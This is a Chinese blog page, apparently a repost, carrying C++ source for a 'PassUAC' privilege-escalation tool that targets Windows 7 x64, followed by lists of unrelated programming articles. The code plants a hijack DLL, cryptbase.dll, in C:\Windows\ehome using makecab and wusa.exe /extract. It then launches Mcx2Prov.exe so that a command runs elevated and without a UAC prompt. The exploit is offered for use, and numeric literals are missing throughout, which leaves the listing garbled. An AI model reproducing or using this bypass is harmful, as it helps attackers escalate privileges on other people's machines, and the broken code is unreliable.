WIN7 X64 PASSUAC 源码
// Passuac.cpp : Defines the entry point for the console application.
// #include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
#include <direct.h> BOOL IsUserInAdminGroup() //判断是否在管理员组
{
BOOL fInAdminGroup = FALSE;
HANDLE hToken = NULL;
HANDLE hTokenToCheck = NULL;
DWORD cbSize = ; OSVERSIONINFO osver = {};
osver.dwOSVersionInfoSize = sizeof(osver); if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE, &hToken))
goto Cleanup;
if (!GetVersionEx(&osver))
goto Cleanup;
if (osver.dwMajorVersion >= )
{
TOKEN_ELEVATION_TYPE elevType;
if (!GetTokenInformation(hToken, TokenElevationType, &elevType, sizeof(elevType), &cbSize))
goto Cleanup;
if (TokenElevationTypeLimited == elevType)
{
if (!GetTokenInformation(hToken, TokenLinkedToken, &hTokenToCheck, sizeof(hTokenToCheck), &cbSize))
goto Cleanup;
}
} if (!hTokenToCheck)
{
if (!DuplicateToken(hToken, SecurityIdentification, &hTokenToCheck))
goto Cleanup;
} BYTE adminSID[SECURITY_MAX_SID_SIZE];
cbSize = sizeof(adminSID);
if (!CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, &adminSID, &cbSize))
goto Cleanup;
if (!CheckTokenMembership(hTokenToCheck, &adminSID, &fInAdminGroup))
goto Cleanup; Cleanup:
if (hToken) CloseHandle(hToken);
if (hTokenToCheck) CloseHandle(hTokenToCheck);
return fInAdminGroup;
} BOOL IsRunAsAdmin() //判断是否以管理员权限运行
{
BOOL fIsRunAsAdmin = FALSE;
DWORD dwError = ERROR_SUCCESS;
PSID pAdministratorsGroup = NULL; SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
if (!AllocateAndInitializeSid(
&NtAuthority,
,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
, , , , , ,
&pAdministratorsGroup))
{
dwError = GetLastError();
goto Cleanup;
} if (!CheckTokenMembership(NULL, pAdministratorsGroup, &fIsRunAsAdmin))
{
dwError = GetLastError();
goto Cleanup;
} Cleanup:
if (pAdministratorsGroup) FreeSid(pAdministratorsGroup);
return fIsRunAsAdmin;
} BOOL writedll64()
{ char Szpath[MAX_PATH] = {};
char uacexqute[] = {};
DWORD dwWrite=;
WORD wResID;
HANDLE hFile = CreateFileA("cryptbase.dll",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("Getlasterror:%d.\r\n",GetLastError());
return ;
}
HRSRC hrsc = FindResource(NULL,MAKEINTRESOURCE(IDR_TESTDLL1),L"TESTDLL");
HGLOBAL hG = LoadResource(NULL, hrsc);
DWORD dwSize = SizeofResource( NULL, hrsc); WriteFile(hFile,hG,dwSize,&dwWrite,NULL);
CloseHandle( hFile ); getcwd(Szpath, MAX_PATH);
strcat(Szpath,"\\cryptbase.tmp");
system("makecab cryptbase.dll cryptbase.tmp");
sprintf(uacexqute,"%s /extract:C:\\Windows\\ehome\\",Szpath); ShellExecuteA(NULL, "open", "wusa.exe", uacexqute, NULL, SW_HIDE); //remove("cryptbase*");
DeleteFileA("cryptbase.dll");
DeleteFileA("cryptbase.tmp"); return true;
} int main(int argc,char* argv[])
{
FILE* fp;
char szcmd[] = {};
char *Options;
char buffer[] = {};
STARTUPINFO si={sizeof(si)};
PROCESS_INFORMATION pi;
si.dwFlags=STARTF_USESHOWWINDOW;
si.wShowWindow=TRUE; if (argc < )
{
printf("[*]:%s Passuac for windows 7 x64\n",argv[]);
printf("[*]:%s Setp1: passuac\r\n",argv[]);
printf("[*]:%s Setp2: shell_cmd\r\n",argv[]);
printf("[*]:Welcome to www.90sec.org\r\n");
printf("[*]:Pass uac t00ls By:@90sec\r\n\r\n");
return ;
} strcpy(szcmd,argv[]); char szNewCmd[MAX_PATH] = {};
wsprintfA(szNewCmd, "\"%s\"", szcmd); if (!IsUserInAdminGroup())
{
printf("Your not have in Local Administrator Group\r\n");
printf("Program exit;");
exit();
}else
{
printf("Your have in Local Administrator Group\r\n");
printf("PassUac ing.....\r\n");
if (!IsRunAsAdmin())
{
if (!strcmp(szcmd,"passuac"))
{
writedll64();
}else
{ ShellExecuteA(NULL, "open", "C:\\windows\\ehome\\Mcx2Prov.exe", szNewCmd, NULL, SW_HIDE);
Sleep(); fp = fopen("c:\\programdata\\uac.txt","rb");
if (fp == NULL)
{
printf("Getlasterror:%d\r\n",GetLastError());
return ;
} ZeroMemory(buffer,sizeof(buffer)); while (fgets(buffer,sizeof(buffer),fp))
{
printf(buffer);
}
fclose(fp);
}
}
}
return ;
}
需要自己写个DLL,来进行参数解析。请看代码把。
代码写的相当烂,但是能够达到地步,还请各位莫笑话。
WIN7 X64 PASSUAC 源码的更多相关文章
- tesseract4.0:win10 +x64+vs2015 源码安装(ViewerDebugging)安装记录
参考文章: https://blog.csdn.net/u013985291/article/details/78295789 https://blog.csdn.net/u013985291/art ...
- 16Aspx.com源码2014年7月详细
Web电子商务网(三层)V2.0源码 2014-07-31 [VS2010] 源码介绍: Web电子商务网(三层)V2.0源码 源码描述: 一.源码特点 采用三层架构开发, ...
- win7 x64 +vs2015 + cmake3.10.3编译opencv-3.4.1+opencv_contrib-3.4.1源码,并进行配置
简介: 一直以来都是在ubuntu下使用opencv,最近因为有<图像处理与模式识别>这门课,需要使用vs2015+opencv提交课程作业,因为opencv官方编译好的exe没有cont ...
- qt4.8.7 源码在win7+vs2010环境的x64编译(qt 64位)
由于qt官网上,没有直接提供x64的安装包,但由于项目需要x64的qt,所以,小编不得不下载qt的源码,经历了一次长达约4个小时的编译过程.今年国庆7天,就遭这事上了,哈哈~~~ 几个下载链接: qt ...
- 谷歌开源项目Chromium的源码获取与项目构建(Win7+vs10/vs13)
转自:http://blog.csdn.net/kuerjinjin/article/details/23563059 从12年那会儿开始获取源码和构建chromium项目都是按照那时候的官方要求用w ...
- mpusher 源码编译 for windows X64
mpusher 源码编译 for windows X64 对于java我是小白,通过一步步的摸索,将经验总结下来,给更多码友提供入门的帮助.一个人的摸索是很困难的,本教程感谢 [MPush开源消息推送 ...
- Windows 10 x64 下编译 Hadoop 源码
Windows 10 x64 下编译 Hadoop 源码 环境准备 Hadoop并没有提供官方的 Windows 10 下的安装包,所以需要自己手动来编译,官方文档中 BUILDING.txt 文件中 ...
- QGIS(2.18.15 源码)+Qt(5/5.9.3)+VS2015(X64)编译
由于工作要求,今年需要基于Qt搞跨平台的GIS.前期未曾接触过Qt,最近也简单学习了下,开源的QGIS是非常不错的学习资源,下了最新版的QGIS源码,不过在VS2015下却没法直接打开.网上查了很多资 ...
- 32位win7+vs2008编译mysql 5.6.22源码并安装
以下这部分安装说明是来自http://www.2cto.com/database/201407/316681.html的win7+vs2010源码编译mysql,文章最后会说明用vs2008编译遇见的 ...
随机推荐
- 16进制 ,Color,Colour转换
import java.awt.Color; import jxl.format.Colour; public class ColorUtil { public static Colour getNe ...
- LeetCode Problem 2:Two Sum
描述: Given an array of integers, find two numbers such that they add up to a specific target number. ...
- JS HTML DOM 事件对象(onclick、onmouseenter)
HTML DOM 事件允许Javascript在HTML文档元素中注册不同事件处理程序. 事件通常与函数结合使用,函数不会在事件发生前被执行! (如用户点击按钮). HTML DOM 事件 DOM: ...
- mix-in class selectors
语言特性 | Less 中文网 http://lesscss.cn/features/#mixins-feature Mixins "mix-in" properties from ...
- MySql最左前缀原则
简单整理记录下,之前一直都没有关注过这个问题 最左前缀原则:顾名思义是最左优先,以最左边的为起点任何连续的索引都能匹配上, 注:如果第一个字段是范围查询需要单独建一个索引 注:在创建多列索引时,要根据 ...
- Java源码之String
本文出自:http://blog.csdn.net/dt235201314/article/details/78330377 一丶概述 还记得那会的“Hello World”,第一个程序,输出的Str ...
- JavaWeb 之监听器
1. JavaWeb 监听器概述 在 JavaWeb 被监听的事件源为: ServletContext, HttpSession, ServletRequest, 即三大域对象. 监听域对象" ...
- Python——用正则求时间差
如有求时间差的需求,可直接套用此方法: import time true_time=time.mktime(time.strptime('2017-09-11 08:30:00','%Y-%m-%d ...
- 如何修改本地hosts文件?
1.window7修改本地hosts文件 # window7系统hosts文件位置 C:\Windows\System32\drivers\etc 2.linux # linux系统hosts文件位置 ...
- Spring学习笔记2—AOP
1.AOP概念 AOP(Aspect Oriented Programming):面向切面编程,AOP能够将那些与业务无关,却为业务模块所共同调用的应用(例如事务处理.日志管理.权限控制等)封装起来, ...